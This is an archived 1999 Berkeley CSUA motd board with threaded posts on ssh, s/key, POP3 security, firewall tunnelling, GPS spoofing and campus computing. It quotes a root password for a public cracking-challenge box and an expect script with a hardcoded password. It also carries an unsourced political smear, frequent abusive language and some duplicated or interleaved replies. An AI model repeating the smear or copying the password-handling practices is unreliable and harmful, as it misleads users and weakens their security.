9/27    Anyone successfully installed ssh on FreeBSD 3.3?
        \_ just copy the binaries straight from soda.
        \_ sh ./configure ; make ; make install ; ssh-keygen ; ssh http://blah.com
           \_ cd /usr/ports/security/ssh; make install; make clean
                \_ it didn't work on my sys.   Something about rsaref not
                        able to compile.  How do I update the ports list?
        \_ use the source luke.

9/19    What is in.identd (running on port 113 (auth))? man isn't very
        clear on importance of the service.
        \_ T3 = 28xT1
        \_ From identd(8):
           identd is a server which implements  the  TCP/IP  proposed
           identd is a server which implements  the  TCP/IP  proposed
           standard  IDENT  user identification protocol as specified
           in the RFC 1413 document.
           READ THE FUCKING RFC TWINK! --not tom
           READ THE FUCKING RFC TWINK! --not tom
           \_ "READ THE FUCKING RFC.  I'M A FUCKING ASSHOLE."
              Grow up you fucking brat.
        \_ could this be the reason why .shost authentication doesn't work
           if you have this service turned off?
           \_ It's there to buxt the not-so-elite h4ckurz!!!!1
                \_ ssh does not use identd.  Turn it off, it's annoying.  -tom
                   \_ it does if linked against a libwrap.a that does
                      rfc 1413 lookups by default.
              \_ negligible, given that there is a lot more tightly coupled
                 copper wiring in the electrical cords, house wiring, etc.,
                 constant of the insulators.

9/18    anyone have a car and want a decent cassette deck?
        let me know... - danh
        \_ Boosting car stereos again danh?
        \_ could this be the reason why .shost authentication doesn't work
           if you have this service turned off?
           \_ It's there to buxt the not-so-elite h4ckurz!!!!1
                \_ ssh does not use identd.  Turn it off, it's annoying.  -tom
                   \_ it does if linked against a libwrap.a that does
                      rfc 1413 lookups by default.

9/16    How do I pipe to an rsh? Say I want to do
        sort file | rsh machine -l user cat > file.sort
        \_ Exactly like that.  If it doesn't work for you, what error
           message do you get?
        \_ Wanna get rid of 20 lbs of ugly fat real fast?  Go in for a
           decapitation.
        \_ You might want to make sure you can rsh commands first.  I generally
        \_ Use ssh instead of rsh.
           test with something llightweight like 'rsh remotemachine -l
           remoteuser whoami' first.  -ERic
           \_ so your answer is?  Just do plain exercise and hope that the
              fat around your abs goes away?
        \_ s/rsh/ssh/g
        \_
            Assuming you have rsh set up properly do something like
            sort file | rsh machine -l user "cat > file.sort"
            or
            sort file | rsh machine -l user dd of=file.sort
            -ERic

9/16    Thinking about getting a text pager (one where I can forward from
        these pagers and service cost? Thanks.
        \_ Bless you! Lynx with SSL rocks.
        \_ Fat Whacker!
        \_ Exactly like that.  If it doesn't work for you, what error
           message do you get?
        \_ Please rewrite this in English and I will try and answer.
           \_ Me speaky perfect goodly engrish so you fuck my mother!!!

09/15   how would u transfer email addresses from an access database to a
        majordomo listserver every day? - turin (ie: ftp? or something else
        kewl i am missing?)
        \_ how do you automatically upload a file without being prompted
          with username and password via ftp?
          \_ .netrc . I wouldn't recommend it, though. --dim
           \_ pirate. way to go!!
                        \_ The Man is watching.
        \_ scp.

9/13    So once again, does anyone know the side effects of dexadrine?
        - oh and yes, bitch, I am CVSing this motd.
        \_ Whats the point of cvs'ing a single file?  -ERic (who has been
           rcs'ing the motd for months now)
        \_ Whats the point of cvs'ing a single file?  -ERic
           \_ I know what this does (send me porn passwords), but can someone
              give a formal definition of what is going on here?
        \_ is your ADD so bad you can't do a web search for dexadrine and
           side effects?
           \_ I don';t have add you stupid fuckin gmororn.` and if you
              can't understand why I'm taking it then get the fuck out
              of the machine.csua you've been calling your world.
        \_ Everything in here is wrong except the bits about
           "gmororn", "this", and "porn".

9/9     http://www.rouze.com (came out a bit early)

9/6     I have lists of student ID numbers I want to verify.  Does Berkeley
        have some kind of service that lets me do this on a regular basis.
        (How does CSUA check SID against names or can someone just fill out
        a fake account form)?
        \_ http://regssl.berkeley.edu --jon

9/3     They're out there watching you:
        http://www.cnn.com/TECH/computing/9909/03/windows.nsa
        \_ Either MS was trying to please the DOJ to ease itself from the
           antitrust case, or it was simple an unintentional bug.
           \_ UNINTENTIONAL BUG? Jeeez, how stupid are you?
              WHy do you think microsoft "easily" got through various
              crypto regulations, when everyone else is fighting
              nasty battles?
           \_ Hey, fuckhead: don't go selectively erasing replies.
              Particularly, on-topic, and ACCURATE replies.
              To repeat:
              How the hell can it be "unintentional".. you don't
              "accidentally" distribute something with an additional
              key that can unlock everything. It was deliberately
              put in. Anyone with a CLUE would realise this was to
              get NSA/government approval for their crypto API stuff.
              In fact, anyone with a clue would have realized this
              the minute they heard that MS got their crypto API
              'approved' a year ago or whatever. EXPORTABLE.
              This violates ITAR, without a back door!
        \_ see also http://www.cryptonym.com/hottopics/msft-nsa.html
           What I'm wondering is what MSFT gets in return?  Think they cut
           some deal with our buddies in the NSA?
        \_ it's all about th "__NSAKEY" reference
        \_ Read some of the rank 5 posts on /. for clue which you won't find
           here.

9/2     Root decided to turn off ~lwall/bin/mail.pl without notice.
        E-mail root and let them know that you are opposed to this change!
        \_ it's a great idea.  shut up, nickkral  -tom

8/30    Is there any possibility that politburo will reconsider their policy
        concerning ftp?  Too, we are unable to understand why POP3 access is ok
                        \_ shut up, ikiru
        whereas those of us who have a tough time comprehending s/key ftp
        have to suffer.  Plain text passwds are sent willy nilly via pop are they
        not?
        \_ Before you can begin to expect consistent policy from CSUA
           leadership, you need to exhibit consistent policy with your
           margins in the motd
        \_ The real answer is that since this is all done on a voluntary basis,
           they don't have time to lock down everything at once.  Your gripe
           that you're being unfairly treated while pop folks are somehow
           allowed to continue violating basic security concepts is ill
           conceived.  Expect that in time *all* of the incredibly lame
           services including pop will be either secured or disabled in time.
           services including pop will be either secured or disabled.
           If the csua was run by full time staff getting paid to do so, I'm
           sure this would have happened a long time ago.  kudos to root and
           any of root's elves who helped for putting in the time required and
           biting the bullet from the whiners with zero security clue.
           \_ Mikeh and the rest of root staff rock!
           off POP3 for the foreseeable future (> 1 year).  Turning off POP3
        \_ POP3 is cleartext; there will be no solution other than turning
           off POP3 for the foreseeable future (> 1 year).
        \_ APOP is trivial to implement, and not cleartext.  -tom
           \_ does APOP work with everyone's favorite GUI mail reader, or
              will they be bombarding root@csua with "My Outlook 95 doesn't
              work anymore?  Is e-mail b0rken?"  My assumption was that
              widespread conformance to encrypted POP won't happen in < 1
              year.  In regards to threads below, I eventually foresee
              turning off POP3, turning on APOP, and sending a mass e-mail to
              all CSUA members informing them of this and pine|elm|etc. and
              .forward.
          Turning off POP3
                 \_ no, ED IS!
                    ED! ED! ED IS THE STANDARD! answer
           would piss enough people off of anything I can imagine.  POP3
           cleartext is THE way to sniff pw's.  S/Key and ssh are a)
           steps in the right direction, and b) get the userbase accustomed
           to security annoyances.  The reasoning is suspect, but for me
           it's not something to put up a fight about since I believe I
           understand the pros and cons.  I look forward to non-availability
           of POP3 script-kiddie port sniffers. -non-Politburo sodan
           \_ Tough shit for the whining pop3 masses.  Let them forward their
              mail or read it locally.  I don't want to see soda broken into
              because some pop twits are too lazy to do the right thing.
              \_ then get off YOUR lazy ass and find an alternative.  Oh,
                 and PINE is not the answer.
                 \_ *I* don't have a security problem reading my mail.  If
                    you're one of those whining security clueless pop users,
                    the problem is yours, not mine.  *You* need to find an
                    answer, not me.  Go look at APOP if you simply *must*
                    use soda as your mail server.  I'm not lazy at all.  I
                    already solved this problem for myself years ago, thanks.
                    \_ Then when i crack your account by sniffing your passwd
                       and then bring down the internet with my elite hacking
                       and the blame all falls on you, ! H0P3 U $+!lL (@N Sl33P
                       @ |\|!6H+...
                       \_ D00d, th@t p05t3r uz3z 55H!  U l00z3!
                    \_ ED ED IS THE STANDARD!
                 \_ install unix it will cure cancer and bring you the
                    magical mystical gold at the end of the rainbow
                        \_ No, idiot.  You can't sniff my password.  My pw
                           never goes out in clear text.  You won't be cracking
                           my pw anytime soon.  It's *your* password I don't
                           want cracked.

8/29  Hillary involved in Waco fire deaths!  http://www.drudereport.com/matt.htm

8/27    Can I use ssh port forwarding to FTP to soda?
        What port do I need connect to at soda?
        \_ Yes, but you'll still need to login using S/Key
           \_ if you do it right, you do not need s/key
               \_How do I do it Right?

8/27    Does shost use a callback scheme to authenticate the host? I'm
        having problems doing an shost login through a firewall. Of course,
        I bet all those die hard security people are going to flame me
        for using shost now.
        \_ try an ssh -v.  It may be failing because it's trying to authorize
           the client's host key.  IIRC, to use shosts, at least with the
           config on soda, your client key must be in soda:~/.ssh/known_hosts
        \_ Some firewalls don't pass privileged ports properly.  Try "ssh -P"

8/25    Can someone finish this off. I'm trying to get rc.local to
        automatically establish a secure tunnel to uclink4 but I can't
        seem to get expect to work.
        ssh -f -lmyusername -L 143:uctwink4:143 uctwink4 _???_
        \_ seems ok to me, but I think it would still require a passwd
                unless you use RSA (-i identity file). But I may be
                wrong, I'm no guru. -chingon
                \_ Where I have a _???_ I had it execute and expect
                   script like
                   #!/usr/local/bin/expect -f

                   expect "password: "
                   send -- "mypassword\r"

                   that didn't seem to work. It still asked me for a password
                \_ you want expect to spawn ssh instead, because it's
                   ssh that's asking you for the password.
                   \_ Then what goes in place of the _???_
                      \_ try "sleep 1800" (which uclink actually ignores
                         but which is correct in general and which makes
                         ssh happy)

8/25    Does the modified s-key telnet login system use ip identification
        to associate user name with challenge offerings? For instance,
        if I login with my user name mispelled, the password: prompt
        appears without offering an s-key challenge. so my question is
        how does skey know when to offer a challenge?
        \_ If there is no account with the name you typed, skey can't be
                set up for that username, so it can't challenge.
        \_ there is so much m, you must rtfm

8/24    I don't understand why ftp is s/key enabled but tons of
        folks still pop their mail that is still a big security hole for
        the less competent users of soda I believe
        \_ Wrapped for the good of the people.
           \_ Wrapped with what?  tcpwrappers is useless unless you
              actually enable some rules.
        \_ One step at a time.  Secure POP/IMAP methods are being investigated.
           \_ Step one should be to THINK ABOUT THE ACTUAL AFFECT
                \_ effect.
           \_ I don't know if this is enforceable, but I use an SSH tunnel
              to soda's IMAP server.  That's a possible alternative.
              \_ It's trvially enforceable (just have TCP wrappers only
                 allow connections from localhost.

8/23    Someone turn off the POP3 port (110) ? More unneeded security
        for the CSUA penitentary?
        \_ No, I think it's just hozed. Try mailing root.

8/19    Is it possible to disrupt GPS signal? Can Russians/Chinese send
        a satellite that sends false signal?
        \-well i guess i am now the gps "expert". well, yes, of course
        the system/signal can be disrupted. whether it can be spoofed
        is a trickier question ... because that is a detection-evasion
        issue. the answer depends on what scenario you are looking at.
        there is considered anti-spoofing engineering that has gone into
        the system and the protocol/signal design. if you have a more
        specific question, i may have a more specific answer. --psb
        \_ whatever.  zip your pants back up.
        \_ Not to mention that the signal is encrypted (PPS) and purposefully
           munged (bias in SPS). --dim
                \-the question is about a hostile attack [denial/spoof] which
        is different from an attack on an encryptions system [which is about
        extracting info, not restricting info or false info] so this normal
        mode isnt especially relevant. you seem to be getting at the source of
        errors. there are a huge number of sources of errors, some of them
        mathematical and contrived, other from circumstances [signal quality
        where you are, HDOP, etc.] or from nature [ionospheric delay [also
        measured in L2 channel]]. SPS bias [called SA] is usually about
        100m XY, 150m Z, and 350ns time but this too is varied to limit how
        much refining youc an do by long observations in carrier phase mode.
        on the L2 [secure channel], in addition to the normal encryption
        [P code], there is hardened mode for spoof detection which involves
        re-encrypting the L2 signal into Y code ... you need an even higher
        clearance for Y than PPS. i will now have to kill all of you. --psb
        \_ I was more addressing the "false signal" aspect than the
           "interrupt" aspect. Since the signal is encrypted, it would
           seem it would be difficult to spoof unless the spoofed signal
           used the same encryption algorithm. --dim
                \not necessarily. i am not sure if a "playback attack" would
        work because time is part of the encoding but in theory you could
        record the L2 telementary and just play it back at the wrong time.
        i am not sure what recievers would do with that. again it depends
        how exotic a scenario you want to envision ... i mean if the russian
        can park a mini-black hole next to the SV and slow down the cesium and
        rubidinum clocks on the satellite that would work too. i mean yes
        your answer acknowledges "there is some security in the system". --psb
        \_ A playback attack of this sort is (if it worked) basically a
           denial of service attack. I was more referring to an attack
           that would result in a diabolical signal skewed from the
           original by some known coordinates. It might be possible, but
           not easy to do. I agree that denial of service is the simplest
           way to go, but it's more obvious and less vile. --dim
                \-this is not what is usually considered a DoS. That would be
        more analogous to blocking the signal or some other way of preventing
        satellite lock. that's a spoof attack. --psb
        \_ Semantics. Using a spoof attack to deny service. Depends on
           what the original poster meant by "false signal". Of course,
           now that I think about it, wouldn't the original signal have
           to be jammed in some way first? How would the receivers react
           to multiple signals? --dim
                \-if i spoof a source address and use this to break into your
        machine and i use that to read your resume to find out your home
        address and then come over and cut your fingers off, i wouldnt call
        that a DoS or a spoof attack. what would you call it? nice account
        name. --psb
        \_ Dude, chill out on the coffee. You know what I meant and that's
           why I used the word "basically". --dim
                \-psb      ttyPv   Aug 10 00:38   (coffeehut.lbl.gov)
        \_ So it sounds easy to "disrupt" signal. So how hard can it be for
           Milosevich to send out GPS signals? If he had done it from the
           beginning, then there wouldn't be any cruise missile right?
        \_ Yeah I totally saw this in a movie and like though James Bond was
           like really cool with thise Chinese chick and they like you know
           figured it out and stopped the bad guy and totally were on the
           make so yeah the Russians can probably do it and steal our people
           who are out boating and stuff and make them boat to Russia and be
           held captive while hiking and stuff so like uh huh nuke 'em before
           they take over the GPS because then they could boatjack our navy
           and make these really cool ufos the airforce have get confused and
           land in China or Russia or Iraq!!!!

8/13    Anyone seen this?  I wonder if we could determine if it's for real:
        http://www.iacr.org/~iacr/misc/china
        I'm trying to find alternate sources of verification.   -brain
        \_ It's obviously a hoax.  No one is going to hand over $300m in gold
           because someone found a tablet.  It's ridiculous.
        \_ i"ve just decyphered it. The text tells of the location of
           the Ark of the Covenent
        \_ I saw a problem with the date, it says ROC year 1933, but
           there's no ROC year 1933.  Obviously, it's western year
           1933, which is ROC year 22.
           \_ Another problem is that the "Hua" character in "Chung Hua Min
              Kwo" (Republic of China) is in Simplified character which was
              not used in ROC and in present Taiwan.  Simplified character
              is only used by Communist China which was founded in 1949.
              -- yuen
        \_ I have discovered the solution to this problem, but the motd is
           too small to contain it.  -fermat
           \_  umm, okay, really I was asking, "I wonder if there are actual
               gold bars with valid encrypted data on them, and if so, what
               the encrypted message is."  The transaction detailed by the
               story is actually irrelevant, because, as you say, it's a
               sure bet that the account is no longer valid.     -brain

8/6     After <DEAD>www.windows2000test.com<DEAD> has gone down 3 times <DEAD>crack.linuxppc.org<DEAD>
        has yet to do so nor has it been cracked.  For any of you intrested,
        the root password is linuxppc. [not any more it aint]
        Give it a shot and win a free computer.
        \_ lemme guess. set up by the same schmuck that put up a target
           at defcon, running OFF A CDROM DRIVE.
           If I wasn't too busy,I'm tempted to nail the damn thing myself.
           But then again, where the hell can I get a "normal" linuxppc
           account to compile stuff?
           \_ on your mac
              \_ Exactly.  How many LinuxPPC users out there?  Also, I
                 was under the impression that the PPC code was not open
                 source.  Is that correct?
                        \_ It can't include Linux kernel sources if it's
                                not "open source" (GPL'ed)
        \_ Gee, my computer might go down too if STRUCK BY LIGHTNING.
           \_ Somebody did a traceroute and found that all of the routes
              up until the machine was still operational.  Microsoft
              claimed that the router failed.  It's summer, the weather's
              good

8/1     Anyone taken a look at, or know anyone who has taken a look at the
        source for pgp 6.5.1.  For some reason i have more faith in the
        integrity of the older versions. (Just 'cause i'm paranoid doesn't
        mean that they're not out to get me).
        \_ What makes you suspicious of 6.5.1?
           \_ Old Calvary are suspicious of tanks.  It is just because,
              back in the day, i was around paranoid types that i trusted
              who said PGP had been checked and was o.k. That was
              pre pgp_for_windows and pre talk of clipper chips.
        \_ I looked at it.  Did you see the function in there called
           SendKeyAndDataToJanetReno@FBI.GOV???  I was shocked but it's
           really in there!  No kidding!

8/1     http://istpub.berkeley.edu:4201/bcc/Sept_Oct99/avc.students.html
        IS&T once again tries to catch up to what student groups have provided
        for the last 10 years, and only manages to see part of the picture.
        (Last time, they decided all students needed was e-mail and we got
         UCLink.  Just imagine how screwed up this new file server will be.)
         \_ soda [21] wc -l /etc/passwd
               2501 /etc/passwd
            Think of how disasterous that would be to provide 30,000
            traditional style login acounts on a single computer (not to
            mention how expensive the hard disk space would be). The fact
            is that most majors don't require a unix shell account but it
            would be nice for the common Berkeley student to have some unix
            experience.  Unfortunately costs and needs don't always coincide.
                \_  Utterly lame!  If i'm making $20+/hr being a paralegal
                    or a doctor I don't have the time or the inclination to
                    fiddle around with unix man pages.  I am more productive
                    using 1. an interface I'm used to (since I'm not a
                    programmer what do I care about software development) and
                    2. an interface that supports applications ALL MY
                    COLLEGUES IN _MY_ (not YOUR) FIELD USE.  I'd rather spend
                    my time ski-ing or outdoors than fiddling around with
                    .conf files.
                    \_ That's funny.  I have time to do my regular school
                       work, fiddle with .conf files, read the fucking man
                       pages, and go skiing.  And unix is VERY useful for
                       people not in the CS major.  Go ask the people at
                       LBL what they use for physics simulations.
                       \_ dear God, is the bigotry so deep within you that you
                          fail to see the point?  The point is that I AM NOT
                          YOU.  I DO NOT WANT TO BE LIKE YOU.  What if i
                          said I was a pre med student who spend time commuting
                          to various hospitals in the area?  That's more than
                          just regular school work.  Tell me, is unix helpful
                          in my anatomy class?  Is it useful for LabView?
                          is it useful in my philosophy class?  Is it useful
                          when I call my girlfriend up and see what time she'd
                          be ready to go see the opera?
                          Climb out of your cubicle, man.
                        \_ idiocy deleted.
                        \_ fascist nazi.  What gives you the right to delete
                           people's opinions at your whim?  What's next after
                           your ssh tactics?  rm -rf people you don't like?
                    my time with my friends or girlfriend than fiddling around
                    with .conf files. - Publius
                   \_ uh, so why do you care if people who are *not* idiots
                      have Unix shell access?  You can diddle around with
                      Netscape all you want, regardless.  -tom
                    \_ It's about the oppurtunity to do what you want.
                \_ Why use a single computer?  The OCF provided 12,000+ login
                        accounts 5 years ago on a cluster of 1989-era machines
                        (Motorola 68030 & 040 based apollos).  As for disk
                        space, that's what IS&T is proposing to do.
                \_ providing shell access to uclink4, for example, would
                   lower CPU usage (POP is very expensive) and support costs.
                   The support cost argument is bullshit; if you look at
                   the total cost picture, having shell access is much
                   cheaper.  What IST means when they say "it costs less"
                   is "it costs US less". -tom
                   \_ IS&T has a history of ignoring reality, tom.   you
                      should know that.
                   \_ Support costs go up when idiots start wanting to use
                      shells.
                \_ I would say, rather, that they ignore campus concerns in
                   favor of doing things which are convenient for them.  -tom
        \_ They should buy a NetApp.
           \_ NetApp's suck. EMC, dude.
        \_ lets take this to http://ucb.computing.announce (ucb.computing.discussion
           would be better but there is no such group ... yet) --jon
           \_ hence, mail root@agate
              \_ hence the "... yet" --jon
           \_ Okay, now lets take this to http://ucb.computing.discussion --jon

7/29    I have a friend.  Or rather, I had a friend.  I very recently
        killed him.  My friend believed he could safely install linux
        on a partition on my win95 machine while I slept.  The long and
        short of the story is that he couldn't, and I now have no DOS
        partitions.  I don't think any of the data was screwed up, but the
        partitions aren't there anymore.  Could someone recommend a
        utility or two to try to recover some files?  -mjm
        \_ need more info about your current state.  does linux boot up?
           if it does you can recover much of the fat32 partition and place
           it on some storage medium.  try running fips and see what the
           partitioning tables look like
        \_ where did you bury the corpse?
            \_ Linux boots up.  The partition table is all jacked.  (It's
               got the part's that linux created, but there nothing like
                what the original were.)  I've got FAT16, if that matters.
                I do kinda remember what the partition sizes were.
                \_ by, the way, it would probably better if you run
                   /sbin/fdisk and type p to print out the partition table
                   and post the results on the motd.  --jeff
                \_ If you would like to backup your dos partition here's
                   what you do.  In the /etc/fstab file and add the entry
                   /dev/hda1    /mnt/dos        vfat defaults   0 0
                   or something like that.  the first field is the device
                   that your dos partition is on and /mnt/dos is the directory
                   that you want to mount your dos partition.  then issue
                   the command "mount /dev/hda1" and you can access your dos
                   partition in /mnt/dos.  How you get that drived backed
                   up is another story.  Too complicated?
                   Try going into your /etc/lilo.conf file.  If you're using
                   RedHat you might have an entry like

                   other=/dev/hda1
                        label=dos
                        table=/dev/hda

                   If there isn't one add it and run /sbin/lilo.  Of course
                   make sure that /dev/hda1 is where your dos partition is.
                   Reboot your computer and at the LILO: prompt type "dos"
                   and it should boot up into Windows.  Deleting the linux

        \_ Your friend did you a big favor. Its about time you accepted that
           Win95 is obsolete and started using the best technology that is
           available: Linux 2.2.x. Don't recover your DOS partitions, forget
           about the dark side and start living in the future of computing.
                   partition (I'm not sure why you want to do that) is a
                   matter of running fips or partition magic and running
                   fdisk /MBR at the dos prompt.  Hope that helps.  --jeff

7/22    Regarding s/key -- is it at all useful to set it up if
        I regularly use ssh to login?  And if I do set it up, will
        I have to use the s/key passwords when I log in via ssh?
        \_maybe.  will you always have ssh available?  setting up skey
                only affects telnet and ftp, not ssh.
                \_ yes, you'll need S/Key for ftp
        \_s/key is a good thing for if you don't have accesst to ssh, or
          for some reason like plaintext, one-time, passwords and plaintext
          transmission of your session better than a fixed password and an
          encrypted session.  It helps to read the info you can find on the
          web about the two different technologies.  But no, you don't have
          to use both.

7/22    If someone didn't set up s/key (i.e. keyinit) before the 15th,
        and now doesn't have access to ssh, is there any way he can set
        up s/key?
        \_ log into a machine that has ssh, and ssh into soda.
           \_ What part of "doesn't have access to ssh" didn't you
              understand?
        \_ does "someone" have access to a Java-capable browser?
           Use http://www.csua.berkeley.edu/ssh
           \_ Read the question again.  I didn't ask for generating
              OTP's.  I asked about what to do if 'keyinit' wasn't run
              before July 15.  Someone like this logs in and does not
              get an s/key challenge.  Oh yes, and *someone* really is
              someone other than me.  Moron.
              [my rude answer deleted.  sorry.]
              \_ The answer has nothing to do with generating OTPs.  As
                 the official motd says, a java ssh client is available
                 at <DEAD>...edu/ssh<DEAD>  Try not to be such a fucking jerk the
                 next time someone tries to post a helpful motd answer --pld
                 \_ Sorry.  I totally blew it reading the answer.  My
                    apologies to whomever gave the answer that I so
                    stupidly ignored.
              \_ Huh?  I don't know about s/key and I've never ran "keyinit"
                 or anything like that.  I just downloaded an SSH client and
                 now I can log in fine.  -- yuen
              \_ Exactly. I've basically ignored all this S/Key stuff. You
                 don't *need* it to log in. Or have you ever tried logging
                 in withOUT whatever this s/key thing is?

7/22    How do you log off those people how are still using a telnet session
        since the pre-ssh enforcement period?
        \_ The ban is on cleartext passwords.  Using telnet is fine.

7/22    How do you prolong your ssh session such that the server doesn't
        automatically log you out? --converted ssh user
     /_ dont use keepalives, fixk  your firewall, dont uses tcsh autologout

7/19    More NT security hole:
        http://support.microsoft.com/support/kb/articles/Q221/9/91.ASP
        \_ Why do you folks keep posting old MS holes?  Subscribe to the
           MS security bulletin service and ntbugtraq and be done with it.
           \_ B3CUZ L1NUX 1Z TH3 P3RF3CKT 0S W1TH AB0LUT3L3 N0 S3KUR1TY
              H0L3S AT ALL, D00D!!1!!  TH1Z PRUV3S 1T!!1!!!
        \_ Also http://support.microsoft.com/support/kb/articles/Q234/5/57.ASP

07/15   I don't get s/key... isn't soda supposed to issue an s/key
        challenge when I ftp into soda?
        \_ You must be this tall to use skey
        \_ You have to set up your key first.  see man skey(1)
                \_ http://soda.CSUA.Berkeley.EDU% man skey(1)
                   Badly placed ()'s.
                   \_ You must be this tall to use man
                   \_ "skey(1)" means to type "man 1 skey" -- it looks up skey
                      in manual section 1 (user commands).  The section number
                      is optional, but it matters if there are two manpages
                      with the same name -- for example, printf(1) tells you
                      about the "printf" command-line utility, but printf(3)
                      tells you about the C library function.
                        \_ SONOFABITCH!! I can't believe someone actaully posted
                           a usefull and non-insulting reply!! Surely the motd
                           gods will banish you for eternity! You asked for it!
                   \_ man skey

7/14    S/Key is neat-o.  It works even if you don't have ssh.
        \_ S/Key is useful, but understand that it only protects your _soda_
           password.  If you connect to soda using telnet and s/key, then
           telnet somewhere else and type your ordinary password for that place,
           it can be sniffed.  ssh is not an annoying frivolity, it is a good
           thing; use it if you can.  --dbushong
        \_ Question (not necessarily rhetorical)- Is giving your password to a
           web-based java applet really an improvement over telnet?
                \_ Yes, because your password is encrypted before leaving the
                    machine.  (Of course, the csua should put it on an ssl
                    httpd for the truly paranoid.)
           Yeah, yeah, Java is secure, but aren't there ways around that
           too?
           \_ so download the applet, and install it on your own server.
              Then worse case, it could only communicate back to THAT
              server. And/or just set your security settings to disallow
              applets from making ANY net connections.
              \_ So wouldn't it be nice to have an authorized s/key
                 applet on soda?
                 \_ http://www.csua.berkeley.edu/skey

7/14    For people whose firewalls allow telnet but not ssh, I set up scotch
        to redirect telnet and rlogin (ports 23 and 513) to soda's sshd.
        You should now be able to run "ssh -p23 http://scotch.csua.berkeley.edu"
        and log in to soda.  Thanks to alanc for suggesting this.  --mconst
        \_ My firewall runs telnet proxy.  I couldn't ssh before, but
           this works brilliantly.  Thanks, guys!  -John
        \_ note that this wont work if your firewall requires use of a
           proxified program to get through the firewall (like say telnet
           linked against the socks library)
           \_ You can run ssh through socks: use "./configure --with-socks"
              when you build ssh.  Note that most socks servers will let you
              connect directly to soda port 22.  If yours doesn't, you should
              still be able to use the telnet redirector on scotch.  --mconst
           \_ runsocks ssh then
           \_ note this is not intended as the solution to all ssh/firewall
                problems, just one set of them
        \_ mconst and alanc, that was a rad solution to the ssh problem!
           You guys RULE!  -ax
           \_ hey, i was the one who came up with having sshd listen to
              port 23.  i just didn't sign my name on the motd since i
                   The fact that they implemented it on Scotch ahead of
                   the switchover is what makes them rule.  -ax
              didn't know how it would be recieved among nit-picky admins.
                \_ I had that idea too.  It's logical conclusion to reach.
                   The fact that they implemented it on Scotch ahed of
                   the switchover is what makes them rule.  -axa
                \_ I got credit simply because I MAILED ROOT with the
                   sugesstion.  If you want to get people's attention,
                   direct e-mail beats anonymous MOTD posts any day. -alan-
                   \_ maybe i'll sign my motd posts with a pgp signature
                      next time. :-)
           \_ Yeah!  mconst for President!  mconst and alanc 2000!

7/14    When trying to connect to CSUA with F-Secure SSH 2.0.12 build 9 I'm
        getting the error "Disconnected;protocol version not supported."
        Anyone else get this, any ideas?
        \_ you're probably using the wrong protocol.  make sure you're using
           the right ssh protocols.
           \_ I don't get it.  Isn't CSUA an entirely non-profit
              organization for educational purpose?  Why can't we use ssh2?
              \_ People won't be able to connect from work.
           \_ ssh2 is supposed to be backwards compatible. use the -v flag
              next time and post the output.
              \_ ssh2 is not backwards compatible.  You will need to use an
                 ssh1 client to connect to soda; we can't run the ssh2 server
                 because it has a restrictive license.
           \_ Tried http://csua.berkeley.edu -v and receive the error "No address
              associate with the name"  I do not see a place to change the
              protocols in F-Secure.
                \_ ssh2 is definitely not backwards compatible.  -tom
              \_ You need F-Secure SSH version 1.something.
              \_ And remember, tomorrow you won't be able to post this!
                 Have fun!
                 \_ S/Key works just fine.  It's a pain in the ass logging
                    in, but it requires nothing mroe than telnet.

7/14    My company firewall doesn't allow port 22 connection.  What should
        I do?  And getting my ignorant IS management people to open this port
        is probably harder than sleeping with their wives.  Is there an
        alternative way to ssh to soda?
        \_ If you find a port that your firewall allows, let us know and
           we can probably set up an extra sshd on that port.   --mconst
        \_ Try the port redirector I just installed on scotch (look three
           motd entries up).    --mconst
           \_ Thanks.  It works.
        \_ I find it very easy to sleep with IS management's wives.
           \_ Everyone who isn't an IS manager does.
        \_ .forward your email.  Your soda account by default is insecure
           since it is run and used by a bunch a hackers.
           \_ Huh?  How much more off topic could you get?
        \_ anyone notice you can telnet to another server and ssh from there?
           \_ Anyone notice how this COMPOUNDS the problem?  Don't.  --sowings
              \_ The PROBLEM is that soda isn't allowing telnet any more.
                 So no, it doesn't compound the problem
                 \_ Soda allows telnet.  It doesn't allow cleartext passwords.
                    Don't get mad, get clue.
                \_everything running over the telnet will be free game, before
                  it gets encrypted.
              \_ that was my point... a mandatory ssh on soda won't
                 necessarily force people to be safe...
                 \_ clue time: you can never force people to be safe.
                    \_ then why mandatory ssh?
                       \_ cuz smart people will simply download the software
                          and use ssh on the machine they're sitting at
                          instead of doing a roundabout telnet into another
                          machine.  which one is more of a hassle?
                          apparently some people think it's more convenient
                          to telnet then ssh each time. but then again,
                          berkeley admits some pretty stupid people.
                          \_ Worse yet, they give them degrees.

7/12    a good windows mail client that supports pgp?  Wait, i know, RIDE
        BIKE, use linux, I DO, but i need *others* to use pgp with and
        the others use windows.
        \_ Outlook
           \_ Outlook?  What version?  Last v. I tried was complete trash.
        \_ ok, pardon my ignorance, but could someone please explain the
           connection betwen Linux and RIDE BIKE ?
           \_ Guessing: someone is mocking the attitude/mentality of both
              groups?
              \_ How does that differ from the 50 million "Windoz Rulez,
                        \_ Who said it differed?
                 use windows" that also go on the motd, not to mention that
                 their attitudes and mentality are usually worse.  I also
                 seem to remember a quote, "drive a fucking car you hippie"
                 posted somewhere on a long ago motd showing taht non-bike
                 riders are just about as bad.
                 \_ PGP for Windows (commercial, from NAI) will integrate
                    well with Eudora Light or Pro.  However, Eudora light
                    tends to corrupt important Windows files and generally
                    suck.  --dbushong
        \_ ride bike.
        \_ use freebsd.
        \_ use linux.
           \_ freebsd >> linux
        \_ use Motd::Public;
        \_ Less filling >> tastes great

7/10    Anyone know if someone has written an SKey generator for the
        Palm OS?  Would be handy to have the key generator handy...
        \_ http://astro.uchicago.edu/home/web/valdes/pilot/pilOTP
           i haven't tried it yet tell me if it works  --oj
                \_ YES, it works.  just logged in with it.  thanks!
                   no excuses to not use skey now...
                   \_ How about, "I don't have a Palm Pilot"?
        \_ Any source code out there for S/Key?
           \_ /usr/src/usr.bin/key/skey.c on soda  --dbushong

7/6     Do you guys think that http://whitehouse.com shouldn't be what it is?

7/1     Sorry to bring another ssh question to the motd, but I thought
        others might be interested.  So my company doesn't have ssh
        installed, but there *is* a machine I can telnet out of without
        going through the proxy.  I compiled ssh over there, and I can't
        get it to connect to soda.  I checked man pages, and the ssh url
        above, but it still dies.  Here's the command line and result:

        > ssh -a -v -l emarkp http://soda.csua.berkeley.edu
        SSH Version 1.2.27 [sparc-sun-sunos4.1.4], protocol version 1.5.
        Standard version.  Does not use RSAREF.
        host183: ssh_connect: getuid 27243 geteuid 27243 anon 1
        host183: Connecting to http://soda.csua.berkeley.edu [128.32.43.52] port 22.
        host183: connect: Connection timed out
        host183: Trying again...

        Any ideas on how to fix? -emarkp
        \_ ssh on outgoing port 22 on your firewall is blocked,
           as in not open.
